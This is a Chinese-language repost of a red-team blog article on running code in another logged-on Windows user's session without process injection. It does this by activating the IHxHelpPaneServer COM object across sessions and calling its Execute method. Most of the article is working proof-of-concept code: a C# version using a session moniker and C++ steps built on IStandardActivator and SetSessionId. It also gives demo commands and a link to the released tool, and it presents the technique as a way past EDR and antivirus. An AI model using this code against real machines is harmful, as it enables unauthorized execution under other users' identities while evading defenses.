进程注入已死 IHxHelpPaneServer 万岁


进程注入已死 IHxHelpPaneServer 万岁

在红队项目中,攻击者使用进程注入机制来获得在另一个用户的上下文中执行代码的能力。然而,进程注入技术早已被大多数防御工具检测到。此外,Windows 内核提供了内置方法来简化检测。

因此,需要找到一种方法来在另一个用户的上下文中执行代码,而无需在进程中注入。而这样的机会是存在的!我将在本文中讨论的机制称为跨会话激活。

跨会话激活

登录 Windows 的用户都会获得一个会话。每个会话都由一个会话 ID 来标识。您可以按如下方式查看计算机上的会话列表:

# 本地机器quser 
# 在其他服务器上quser /server:dc01.office.corp

进程注入已死 IHxHelpPaneServer 万岁

您还可以使用NetSessionEnum()、NetWkstaUserEnum()。您可以从 SpecterOps文章中阅读更多内容。跨会话激活机制允许您在另一个用户的会话中创建 COM 对象。

该算法很简单:

1. 有服务器和客户端会话

2. 客户端会话是接收创建 COM 对象的请求的会话

3. 服务器会话是创建此对象的会话

4. 如果客户端可以在另一个会话中创建 COM 对象,那么通过调用此 COM 对象的方法,客户端将能够在其他人的会话中执行代码

进程注入已死 IHxHelpPaneServer 万岁

但也存在一些限制。

  1. 必须将 COM 对象配置为以交互式用户身份运行。

  2. 我们想要获取的计算机上必须有一个会话。终端服务器非常出色

  3. COM 类必须提供可被滥用来执行命令和/或文件的方法

我注意到第三个限制是可选的。因为如果你有前两个,你可以通过RemotePotato0使用-s参数捕获身份验证,或者通过RemoteKrbRelay使用-session捕获身份验证。

很久以前,EOP COM Session Moniker漏洞被公开。它基于 Session Moniker 机制,可以在任何会话中执行代码。但是,此漏洞不再有效,已添加以下保护措施:

if ( imp_token_il >= process_token_il   && (imp_token_il >= SECURITY_MANDATORY_HIGH_RID   || EqualSid(process_token_user, imp_token_user))){   ShellExecuteW(NULL, L"open", path, NULL, NULL, SW_SHOW);}

现在,要在任何会话中执行代码,您需要一个特权帐户,例如本地管理员。此外,使用名字对象(特别是Marshal.BindToMoniker()或IMoniker.BindToObject()。您上次使用名字对象是什么时候?:) )可能会对 EDR 造成危险,因此您需要寻找替代方案。

作为用于测试的 COM 对象,我建议采用实现IHxHelpPaneServer接口的对象,该接口由 James Forshaw 于 2016 年发现。此接口很有用,因为它提供了一种Execute方法,允许在系统上执行任意文件。因此,通过从另一个会话调用此方法,我们可以代表另一个用户执行文件。

使用此接口执行代码的最简单的变体可能看起来像这样。

using System;using System.Runtime.InteropServices;
namespace IHxHelpPaneServer{ static class Program { static void Main() { var path = "file:///C:/Windows/System32/calc.exe"; var session = System.Diagnostics.Process.GetCurrentProcess(); Server.execute(session.SessionId.ToString(), path); // u can change session id here } }
static class Server { [ComImport, Guid("8cec592c-07a1-11d9-b15e-000d56bfe6ee"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] interface IHxHelpPaneServer { void DisplayTask(string task); void DisplayContents(string contents); void DisplaySearchResults(string search); void Execute([MarshalAs(UnmanagedType.LPWStr)] string file); }
public static void execute(string new_session_id, string path) { try { IHxHelpPaneServer server = (IHxHelpPaneServer)Marshal.BindToMoniker(String.Format("session:{0}!new:8cec58ae-07a1-11d9-b15e-000d56bfe6ee", new_session_id)); // alert alert red flag Uri target = new Uri(path); server.Execute(target.AbsoluteUri); } catch {
} } }}

然而,我们再次看到了绰号的使用,这不是一件好事。我们应该走出老路,寻找其他内置的跨会话激活机制。

IStandartActivator + ISpecialSystemProperties

IStandartActivator是一个标准 COM 接口,它允许您创建具有各种附加选项的 COM 对象(通过 ISpecialSystemProperties 接口)。特别是,使用SetSessionId()方法,您可以控制要在其中创建 COM 对象的会话。这个接口对我们来说非常有用,它允许我们在其他人的会话中创建 IHxHelpPaneServer,然后调用 Execute ()方法并窃取其他人的会话!

值得注意的是,我们在RemoteKrbRelay中也使用了这个接口。

进程注入已死 IHxHelpPaneServer 万岁

所以,我们只需要编写一个使用该接口的程序来运行IHxHelpPaneServer COM对象的IStandartActivator并调用Execute ()方法即可。

做好准备

首先,我们需要初始化 CLSID 和 IID 值来标识要创建的 IHxHelpPaneServer 对象。这在下面的函数中通过CLSIDFromString()完成。

HRESULT CoInitializeIHxHelpIds(LPGUID Clsid, LPGUID Iid){    HRESULT Result = S_OK;
if (!SUCCEEDED(Result = CLSIDFromString(L"{8cec58ae-07a1-11d9-b15e-000d56bfe6ee}", Clsid))) return Result;
if (!SUCCEEDED(Result = CLSIDFromString(L"{8cec592c-07a1-11d9-b15e-000d56bfe6ee}", Iid))) return Result;
return Result;}

接下来,我们需要获取指向 IStandartActivator 接口的指针。这可以通过常规的CoCreateInstance()来完成。不要忘记事先调用CoInitialize() 。

GUID run = { 0x8cec592c, 0x07a1, 0x11d9, { 0xb1, 0x5e, 0x00, 0x0d, 0x56, 0xbf, 0xe6, 0xee } };GUID CLSID_ComActivator = { 0x0000033C, 0x0000, 0x0000, { 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 } };GUID IID_IStandardActivator = __uuidof(IStandardActivator);IStandardActivator* pComAct;
hr = CoCreateInstance(CLSID_ComActivator, NULL, CLSCTX_INPROC_SERVER, IID_IStandardActivator, (void**)&pComAct);if (FAILED(hr)){ std::wcout << L"[-] Cant get IStandartActivator" << std::endl; return Win32FromHResult(hr);}

获得 IStandartActivator 接口后,我们需要从中提取 ISpecialSystemProperties。这可以使用QueryInterface()方法来完成。此方法允许您获取不同的接口,该接口在与当前接口相同的 COM 对象中实现。

ISpecialSystemProperties* pSpecialProperties;hr = pComAct->QueryInterface(IID_ISpecialSystemProperties, (void**)&pSpecialProperties);if (FAILED(hr)){    std::wcout << L"[-] Cant get ISpecialSystemProperties" << std::endl;    return Win32FromHResult(hr);}

最后,使用 ISpecialSystemProperties 接口,您可以调用SetSessionId()方法来设置目标会话。

pSpecialProperties->SetSessionId(session, 0, 1);if (FAILED(hr)){    std::wcout << L"[-] Cant set session ID" << std::endl;    return Win32FromHResult(hr);}

但是,如果您随后调用普通的CoCreateInstance() ,则将在当前会话中创建 COM 对象。要在另一个会话中创建 COM 对象,您需要从 IStandartActivator 调用创建方法。我们不需要 OBJREF 或 File,因此我们调用StandartCreateInstance() ,它是CoCreateInstanceEx()的实现。

std::wcout << L"[*] Spawning COM object in the session:" << session << std::endl;
MULTI_QI qis[1];qis[0].pIID = &run; // IID IHxHelpPaneServerqis[0].pItf = NULL;qis[0].hr = 0;
hr = pComAct->StandardCreateInstance(CLSID_IHxHelpPaneServer, NULL, CLSCTX_ALL, NULL, 1, qis);
if (FAILED(hr)){ std::wcout << L"[-] CoCreateInstanceFailed()" << std::endl; return Win32FromHResult(hr);}
IHxHelpPaneServer* pIHxHelpPaneServer = NULL;pIHxHelpPaneServer = static_cast<IHxHelpPaneServer*>(qis[0].pItf);

最后,一旦成功创建了 COM 对象,您就可以调用 Execute() 方法并导致该文件在另一个用户的会话中执行。

std::wcout << L"[+] Executing binary: " << pcUrl << std::endl;hr = pIHxHelpPaneServer->Execute(pcUrl);if (FAILED(hr)){    std::wcout << L"[-] pIHxHelpPaneServer->Execute() failed" << std::endl;    return Win32FromHResult(hr);}

DEMO

所以,我写了一个最小的 POC。我们来看看吧。我的笔记本电脑上有两个会话:

进程注入已死 IHxHelpPaneServer 万岁

让我们检查当前会话中的启动情况。

.IHxExec.exe -s 1 -c C:/Windows/SYSTEM32/CALC.EXE

进程注入已死 IHxHelpPaneServer 万岁

成功!还有另一场会议:

.IHxExec.exe -s 2 -c C:/Windows/SYSTEM32/CALC.EXE

进程注入已死 IHxHelpPaneServer 万岁


那太棒了!我们可以在另一个用户的上下文中运行代码,而无需使用进程注入

结论

文档记录不太完善的 Windows 功能有时会为我们提供有趣的功能,这些功能可用于复杂的 RedTeam 项目,包括绕过防病毒软件。我已经在Github上发布了 POC 。https://github.com/CICADA8-Research/IHxExec 感谢您阅读我的文章 🙂

https://cicada-8.medium.com/process-injection-is-dead-long-live-ihxhelppaneserver-af8f20431b5d


感谢您抽出

进程注入已死 IHxHelpPaneServer 万岁

.

进程注入已死 IHxHelpPaneServer 万岁

.

进程注入已死 IHxHelpPaneServer 万岁

来阅读本文

进程注入已死 IHxHelpPaneServer 万岁

点它,分享点赞在看都在这里

原文始发于微信公众号(Ots安全):进程注入已死 IHxHelpPaneServer 万岁

版权声明:admin 发表于 2024年9月7日 下午3:59。
转载请注明:进程注入已死 IHxHelpPaneServer 万岁 | CTF导航

相关文章